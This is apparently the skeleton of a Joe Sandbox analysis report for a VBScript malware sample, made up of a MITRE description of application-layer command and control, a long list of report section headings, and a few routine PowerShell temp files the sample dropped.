Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report f4576JaIo9.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1kpxl44r.ssi.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cwprilqk.x4c.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tkv1mzly.m2c.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uirrxnjp.esi.psm1

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

HTTPS Proxied Packets

Statistics

Windows Analysis Report
f4576JaIo9.vbs